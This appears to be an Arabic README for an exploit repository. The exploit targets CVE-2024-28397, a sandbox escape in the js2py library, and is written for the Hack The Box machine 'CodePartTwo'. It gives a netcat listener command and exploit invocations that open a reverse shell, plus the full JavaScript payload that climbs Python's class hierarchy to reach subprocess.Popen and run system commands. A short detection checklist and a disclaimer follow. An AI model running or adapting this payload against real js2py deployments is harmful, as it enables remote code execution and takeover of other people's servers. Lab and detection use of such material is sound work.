
يحتوي هذا المستودع على كود استغلال بلغة بايثون لثغرة CVE-2024-28397، مخصص للاستخدام على جهاز "CodePartTwo" في منصة Hack The Box (HTB).
كود استغلال بلغة Python لـ CVE-2024-28397، وهي ثغرة حرجة في js2py <= 0.74 تسمح بالهروب من بيئة العزل وتنفيذ الأكواد عن بُعد.
js2py هي مكتبة Python شهيرة لتقييم أكواد JavaScript داخل بيئات Python. تسمح هذه الثغرة للمهاجمين بالهروب من بيئة العزل الخاصة بـ js2py وتنفيذ أوامر Python/أوامر النظام بشكل تعسفي، حتى عند تفعيل js2py.disable_pyimport().
يستغل هذا الكود قدرات الاستبطان الكائني في Python عبر JavaScript للوصول إلى كلاس subprocess.Popen وتنفيذ أوامر النظام.
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Target URL endpoint (required)
--lhost Local IP for reverse shell (required)
--lport Local port for reverse shell (default: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ و __base__subprocess.Popen من خلال الاستبطانيعمل الاستغلال من خلال:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
ابحث عن أكواد JavaScript تحتوي على:
__class__ أو ___class_____subclasses__()subprocess أو Popenprintf و base64 -dهذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط. يتحمل المستخدمون مسؤولية الامتثال للقوانين واللوائح المعمول بها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.